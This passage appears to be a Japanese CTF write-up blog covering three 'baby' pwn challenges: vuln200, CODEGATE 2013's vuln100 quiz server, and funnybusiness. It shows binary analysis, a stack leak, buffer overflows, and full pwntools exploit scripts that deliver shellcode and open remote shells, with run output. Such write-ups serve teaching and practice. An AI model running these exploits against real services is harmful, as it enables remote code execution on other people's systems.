shellcode = asm(shellcraft.dupsh(4))
shellcode += asm(shellcraft.sh())

ret_addr = p32(recv_plt_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)

payload = "write"
payload += "A" * 240
payload += ret_addr
payload += "\n"

conn.send(payload)
conn.recv()
conn.send(shellcode)
conn.interactive()

結果

mattun-mart@4ctf:~/pwn/baby/vuln200$ python exploit.py 
[+] Opening connection to localhost on port 7777: Done
[*] '/home/mattun-mart/pwn/baby/vuln200/vuln200'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] Switching to interactive mode
$ ls
dump
dump.txt
exploit.py
logs
peda-session-vuln200.txt
vuln200

vuln100のほうが難しかった気がする.
解析さえちゃんとできれば割とすぐ解ける.

pwnlist baby vuln100

下調べ

mattun-mart@4ctf:~/pwn/baby/vuln100$ file vuln100 | sed -e "s/,/\n/g"
vuln100: ELF 64-bit LSB  executable
 x86-64
 version 1 (SYSV)
 dynamically linked (uses shared libs)
 for GNU/Linux 2.6.24
 BuildID[sha1]=405654ce20fe1b9e5b8cd57c1299ce770f8d3b5d
 stripped
mattun-mart@4ctf:~/pwn/baby/vuln100$ checksec.sh --file vuln100 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   vuln100

Ubuntu14.04 64bitで動かしてます.
NX,SSP無効.スタック等にシェルコード乗せて実行させるパターンかな.

解析

とりあえず実行する.何かを待ち受けてる.straceで実行してみるとポート6666で接続を待ち受けていることがわかる.
いわゆるfork-server型の問題.
ncコマンドで接続してみるとクイズゲームが始まる.

mattun-mart@4ctf:~/pwn/baby/vuln100$ nc localhost 6666
Welcome to CODEGATE2013.
This is quiz game.
Solve the quiz.


It is Foot Ball Club. This Club is an English Primier league football club. This Club founded 1886. This club Manager Arsene Wenger. This club Stadium is Emirates Stadium. What is this club? (only small letter)

面倒なのでStringコマンドで答えらしき文字列がないか探すが,見つからず仕方なくgoogle先生で検索して答えていく.(バイナリ解析していてわかったが,MD5ハッシュ値で入力された答えが正しいか判定していた)
クイズに3問正解するとニックネームの入力を促される.

rank write! your nickname:
AAAAAAAAAAAA
AAAAAAAAAAA very good ranke
game the end

これでプログラムは終了.

ニックネーム入力の部分にいろいろ入力してると改行を送った時と大量に文字を送った時バグった.
改行を送った時は変な文字が表示されていて,大量に文字を送った時はgame the endが表示されずに途中でプログラムが落ちている.

改行文字を送った時

rank write! your nickname:


z very good ranke
game the end

大量の文字を送った時

good!3
rank write! your nickname:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

おそらく,終端文字挿入していないのと,バッファーオーバーフローしてEIPが変なところに飛んでいるのがそれぞれのバグの原因.
あとは実際にバイナリの中身を見ないとわからないのでobjdumpやgdb-peda等で解析していく.

解析してみると次のような動きをしていることがわかった.

  1. 各問題の入力内容をrecvで受け取り,受け取った入力内容のMD5ハッシュ値と答えのハッシュ値を比較.間違っていた場合はプログラム終了.
  2. 3問すべて正解していた場合はユーザからニックネームの入力内容をrecvで受け取る.
  3. 受け取ったニックネームの入力内容をスタック内の別領域にmemcpyでコピー.
  4. コピーしたアドレスにニックネームの入力内容をstrcpyでコピー.
  5. コピー先アドレスに格納されているニックネームの入力内容を2文字削ってsendで送る.
  6. very good rankeとgame the endをsendで送ってプログラム終了

それで,どんなバグがあるの?

1. memcpyでバッファオーバーフローが起こる

下図に示すようにニックネームの入力内容のコピーを保存する領域の下にstrcpyの引数であるコピー先アドレスを格納する領域がある.
そのため,大量に文字を送られるとこれが書き換えられてしまう.
f:id:mattun_mart:20170916021331p:plain

具体的には0x108(264)文字を超える文字を入力するとstrcmpの引数であるコピー先アドレスが書き変わる.
これでニックネームの入力内容を好きな場所に書き込めることがわかった.

2. 極端に短い文字を入力に送るとスタックの中身がリークできる

例えば終端文字\x00をニックネームの入力として送ってみるとこんな感じで楽しいことになる.

mattun-mart@4ctf:~/pwn/baby/vuln100$ python test2.py 
[+] Opening connection to localhost on port 6666: Done

\x00\x00��\xff\xff\x7f\x00\x00xYd��\x00\x00\x00\x00\x00\x00\x00\x00\x00����\xff\x7f\x00\x00\x90
@\x00\x00\x00\x00\x00`w\x9f��\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x98��\xff\xff\x7f\x00\x00\x80��\xff\xff\x7f\x00\x00p��\xff\xff\x7f\x00\x000\xa6��\x00\x00\x00\x00\x00\x00\x00\x00\x00����\xff\x7f\x00\x00\x90
@\x00\x00\x00\x00\x00Y\x0c@\x00\x00\x00\x00\x000��\xff\x03\xfe\xff\xff��\xff\xff\xff\x7f\x00\x000�L�,\xab�1s\x8c\xaa\xad\x89��\x00\x00\x00,\xab�1s\x8c\xaa\xad\x89��\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000��\xff\xff\x7f\x00\x00\x90
@\x00\x00\x00\x00\x00\x10���\xff\x7f\x00\x00���\xff\xff\x7f\x00\x000��\xff\xff\x7f\x00\x00h\x12@\x00\x00\x00\x00\x00\x10��\xff\xff\x7f\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x18���\xff\x7f\x00\x00\x10K\xfe�\x0030f54cbe2cabf23173198caaad89e7b9\x00\x00\x00\x00\x00\x00\x00\xa\x00\x00\x00\x00\x00He is South Korean singer, songwriter, rapper, dancer and record producer. He is known domestically for his humorous videos and stage performances, and internationally for his hit single Gangnam Style. Who is he?(only small letter)
\x00�v��\x7f\x00\x00eece6865e633b0ca4b5c0b32f21edfa2\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00It is a royal palace locate in northern Seoul, South Korea. First constructed in 1395, laster burned and abandoned for almost three centuries, and then reconstructed in 1867, it was the main and largest place of the Five Grand Palaces built by the joseon Dynasty. What is it?(only small letter)
\x00��\xff\xff\xff\x7f\x00\x001c5442c0461e5186126aaba26edd6857\x00\x00\x00\x00\x00\x00\x00\x00\x00F\xfe��\x00It is Foot Ball Club. This Club is an English Primier league football club. This Club founded 1886. This club Manager Arsene Wenger. This club Stadium is Emirates Stadium. What is this club? (only small letter)
\x00\xff\x7f\x00\x00��\xff\xff\x10\x00\x00\x00\x00\x88\x95\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00psy��\x00\x00\x00\x00\x00\x00\x00\x00\x00gyeongbokgung\x00\x00\x00arsenal\x00\xb5\x13@\x00\x00\x00\x00\x00\x100`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x100`\x00\x00\x00\x00\x00\x90
@\x00\x00\x00\x00\x00\x100`\x00\x00\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Eoe��\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18���\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00�
                                                          @\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00�C<ghmA_ very good ranke
game the end
\x00

何でこんなことになっているかというと
以下のように,rdxに入力した文字数が格納されたraxから0x2引いた値が格納されることが原因.

RAX: 0x0 
RBX: 0x0 
RCX: 0xfffffffffffffffe 
RDX: 0xfffffffffffffffe 
RSI: 0x7fffffffe018 --> 0x7fffffffe300 --> 0x7fffffffe339 --> 0x3cf32b80e1f2070 
RDI: 0x7fffffffd9e1 --> 0x7800007fffffffda 
RBP: 0x7fffffffdf30 --> 0x0 
RSP: 0x7fffffffdb00 --> 0x7fffffffdc10 ("am Style. Who is he?(only small letter)\n")
RIP: 0x401252 (mov    rsi,QWORD PTR [rip+0x200e7f]        # 0x6020d8)
R8 : 0x0 
R9 : 0x0 
R10: 0x7fffffffd790 --> 0x0 
R11: 0x7ffff77b0fa0 --> 0xfff239c0fff239b0 
R12: 0x400a90 (xor    ebp,ebp)
R13: 0x7fffffffe010 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401247:	not    rax
   0x40124a:	sub    rax,0x1
   0x40124e:	lea    rdx,[rax-0x2] # rdxはsendで送るデータのサイズが入る
=> 0x401252:	mov    rsi,QWORD PTR [rip+0x200e7f]        # 0x6020d8
   0x401259:	mov    eax,DWORD PTR [rbp-0x8]
   0x40125c:	mov    ecx,0x0
   0x401261:	mov    edi,eax
   0x401263:	call   0x400a20 <send@plt>

このrdxにはsendで送るデータサイズの値が入っており,1文字以下だとsendのサイズがとんでもなくでかくなってしまう.

   0x401259:	mov    eax,DWORD PTR [rbp-0x8]
   0x40125c:	mov    ecx,0x0
   0x401261:	mov    edi,eax
=> 0x401263:	call   0x400a20 <send@plt>
   0x401268:	mov    eax,DWORD PTR [rbp-0x8]
   0x40126b:	mov    ecx,0x0
   0x401270:	mov    edx,0x10
   0x401275:	mov    esi,0x401523
Guessed arguments:
arg[0]: 0x4 
arg[1]: 0x7fffffffd9e0 --> 0x7fffffffda00 --> 0x400a90 (xor    ebp,ebp)
arg[2]: 0xfffffffffffffffe # 送るデータサイズ
arg[3]: 0x0 

つまり,コピーしたニックネームデータ以降のスタックの中身を送ってしまうことになる.これがよくわからない文字列の正体.
ここでさっきのスタックの図を見ればわかるが,nickname_copy_dataの先にはnickname_copy_dataのアドレスが格納されている.
ということは,リークしたスタックの中身からニックネームの入力データが入ったアドレスを特定できるので,ニックネームの入力にシェルコード積んでここに飛んでやれば良さそう.
今回fork-server型の問題なので親プロセスが死なない限り,リークしたスタックのアドレスが変わることもない.

Exploit

ってことで,Exploitを組み立てていく.
NXとSSPが無効なので,ニックネームの入力にシェルコードを積んで,どうにかしてリークしたスタックから得たニックネームの入力(memcpyのコピー)を格納したアドレスに飛んでやればよさそう.
ただ,どうやってスタックのリターンアドレスを書き換えるかが問題.
memcpyのコピーの時にリターンアドレスを書き換えてやるのが一番楽そうだが,リターンアドレスの前にstrcpyのコピー先アドレスを格納する領域が邪魔でうまくいかない.
コピー先アドレスを格納する部分だけにアドレスを書いておいてプログラムが落ちないようにし,リターンアドレスを書き換える方法も考えられるが,アドレスに\x00が入ってしまうためそれ以降の入力を送ることができないのでこれもダメ.

今回はstrcpyの書き込み先は自由に変更できるので,これをうまく利用する.
strcpyのときに0x10ずらして書き込むことでうまくリターンアドレスをシェルコードを積んでいるニックネームの入力を保存している領域のアドレスに指定できる.
下の図のような流れ.青い枠はニックネームの入力.(わかりづらくてすみません...)

あとはExploit書く.
f:id:mattun_mart:20170916031150p:plain

#!usr/bin/env python
# -*- coding:utf-8 =*-
from pwn import *
import struct
import time

context.arch = 'amd64'
host = 'localhost'
port = 6666

def solve_quiz(conn):
    conn.send("arsenal\n")
    time.sleep(0.01)
    conn.send("gyeongbokgung\n")
    time.sleep(0.01)
    conn.send("psy\n")
    time.sleep(0.01)

def leak_stack_addr(conn):
    solve_quiz(conn)
    conn.send("\x00")
    conn.recvuntil("nickname:")
    leak_stack = conn.recv()

    leak_addr = u64(leak_stack[266:272] + "\x00\x00")
    return leak_addr

conn = remote(host,port)
leak_addr = leak_stack_addr(conn)

shellcode = asm(shellcraft.dupsh(4))
shellcode += asm(shellcraft.sh())

payload = shellcode
payload += "A" * (264 - len(shellcode))
payload += p64(leak_addr + 16)

print hex(leak_addr)
conn = remote(host,port)
solve_quiz(conn)
conn.send(payload)
time.sleep(0.1)
conn.recv()

conn.interactive()

結果

mattun-mart@4ctf:~/pwn/baby/vuln100$ python exploit2.py 
[+] Opening connection to localhost on port 6666: Done
0x7fffabd7efd0
[+] Opening connection to localhost on port 6666: Done
[*] Switching to interactive mode
$ ls
dump
etest.py
exploit.py
exploit2.py
peda-session-ls.txt
peda-session-vuln100.txt
test2.py
vuln100
$ exit
[*] Got EOF while reading in interactive

無事シェルが起動.
やったことまとめるのめっちゃ時間かかるなぁ...

pwnlist baby funnybusiness

下調べ

$ file funnybusiness | sed -e "s/,/\n/g"
funnybusiness: ELF 32-bit LSB  executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked (uses shared libs)
 for GNU/Linux 2.6.24
 BuildID[sha1]=97b05818b1ef9a9383e922e10e1e43ce7a96389e
 stripped
$ checksec.sh --file funnybusiness 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   funnybusiness

Ubuntu14.04 64bitで動作させてる.

解析

実行してみると何かを待ち受けている.何だろう.
straceで実行するとポート49681で接続待ち受けしていることがわかった.いわゆるfork-server型の問題.
ncで接続するがfunnybusinessというユーザが存在しないとサーバ側でエラーが吐かれて接続が切れた.

gdb-pedaやobjdumpを駆使してバイナリの中身を追っていくと,文字列funnybusinessを引数に取ってgetpwnam関数が呼ばれていた.
getpwname関数について調べてみる.

getpwnam() 関数は、ユーザ名 name にマッチするパスワード・データベースのエントリを要素毎に分解し、各要素を格納した構造体へのポインタを返す
(パスワード・データベースの例: ローカルのパスワードファイル /etc/passwd,NIS, LDAP)

つまり,先ほどのエラーはOSにfunnybusinessという名前のユーザがいないことが原因のようだ.
OSにfunnybusinessユーザを追加して再度実行.(getpwnameを使っているので管理者権限で実行する必要あり).

うまく動いたっぽい...が,画面に何も表示されない.
さらにバイナリの中身を追っていくと,次のような動作をすることが分かった.

  1. 1回目のrecvでユーザが送るデータのサイズを受け取る
  2. 2回目のrecvでそのデータを受け取る
  3. 受け取ったデータを引数にとってinflate関数を実行

inflate関数って何だ...
調べた.
zlibライブラリの関数で,圧縮されたデータの解凍に使われる関数みたい.
さっそくてきとうな文字列を圧縮して送ってみる.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct
import zlib

host = 'localhost'
port = 49681

conn = remote(host, port)

data = "A" * 5000
comp_data = zlib.compress(data)

conn.send(p32(len(comp_data)))
conn.send(comp_data)


お,なんかeipが変なところへ飛んでる.
f:id:mattun_mart:20170910201754p:plain

送ったデータでリターンアドレスが書き変わってるみたい.
これでeipは奪えたので送ったデータのどの部分がリターンアドレスに対応しているか調べる.
ただし,このままだとリターンアドレスに対応する部分がわかっても,データが圧縮されているので自由にリターンアドレスを指定できない.

どうしたものかとpythonのzlibライブラリの圧縮を見ていると,compress関数は第2引数に0を指定すると無圧縮で圧縮できるらしい.
これで生のデータを送れるので,自由にリターンアドレスを書き換えられる.
上記のコードのAの文字数を20,compress関数に引数0を指定して,再度データを送ってみる.(バイナリを解析しているとわかるが送れるサイズには制限がある)

f:id:mattun_mart:20170910202908p:plain

ret命令が実行されるときのスタックを見てみるとespにA*14が積まれている.
送ったデータは20文字のAなので7番目の文字からリターンアドレスになるようだ.
これで自由にリターンアドレスを指定することができるようになったので,Exploitを組み立てればよい.

Exploit

下調べでもわかっているように,このバイナリはNXとPIEが無効になっている.

  • NXが無効  → .bss領域等でシェルコードが実行できる.
  • PIEが無効 → ASLRが有効でも.bss領域のアドレスは変化しない.(ASLRはheap領域以降のアドレスをランダム化するらしい)

.bss領域にシェルコード置いてしまえばシェルが開ける.
あとはどうやって.bss領域にシェルコードを書きこむかだが,recv関数を利用すればよい.

.bss領域のアドレス調べて

$ readelf -S funnybusiness 
28 個のセクションヘッダ、始点オフセット 0x2190:

セクションヘッダ:
  [番] 名前              タイプ          アドレス Off    サイズ ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481cc 0001cc 0001d0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804839c 00039c 000121 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          080484be 0004be 00003a 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         080484f8 0004f8 000030 00   A  6   1  4
  [ 9] .rel.dyn          REL             08048528 000528 000008 08   A  5   0  4
  [10] .rel.plt          REL             08048530 000530 0000d0 08   A  5  12  4
  [11] .init             PROGBITS        08048600 000600 00002e 00  AX  0   0  4
  [12] .plt              PROGBITS        08048630 000630 0001b0 04  AX  0   0 16
  [13] .text             PROGBITS        080487e0 0007e0 00074c 00  AX  0   0 16
  [14] .fini             PROGBITS        08048f2c 000f2c 00001a 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048f48 000f48 0000d3 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        0804901c 00101c 000084 00   A  0   0  4
  [17] .eh_frame         PROGBITS        080490a0 0010a0 0002b8 00   A  0   0  4
  [18] .ctors            PROGBITS        0804af0c 001f0c 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        0804af14 001f14 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        0804af1c 001f1c 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         0804af20 001f20 0000d0 08  WA  6   0  4
  [22] .got              PROGBITS        0804aff0 001ff0 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804aff4 001ff4 000074 04  WA  0   0  4
  [24] .data             PROGBITS        0804b068 002068 000010 00  WA  0   0  4
  [25] .bss              NOBITS          0804b080 002078 004058 00  WA  0   0 32
  [26] .comment          PROGBITS        00000000 002078 00002a 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 0020a2 0000ec 00      0   0  1

Exploitを書く

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct
import zlib

host = 'localhost'
port = 49681

conn = remote(host, port)

bss_addr = 0x804b080
elf = ELF('./funnybusiness')
ret_addr = elf.plt['recv']

shellcode = asm(shellcraft.dupsh(4))
shellcode += asm(shellcraft.sh())

call_recv = p32(ret_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0)

payload = "BBBBBB" # ret_addrを7文字目から置くため
payload += call_recv
comp_payload = zlib.compress(payload,0)

conn.send(p32(len(comp_payload)))
conn.send(comp_payload)
conn.send(shellcode)
conn.interactive()

fork-server型なのでシェルコードを送る前に,dup2などを使って自分が使用しているsocketディスクリプタを繋げてあげる必要がある.
これをしないとシェルは奪えても何も表示されない.

実行して無事シェル起動.

mattun-mart@4ctf:~/pwn/baby/funnybusiness$ python exploit.py 
[+] Opening connection to localhost on port 49681: Done
[*] '/home/mattun-mart/pwn/baby/funnybusiness/funnybusiness'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
    FORTIFY:  Enabled
[*] Switching to interactive mode
$ ls -a
.
..
.bash_logout
.bashrc
.profile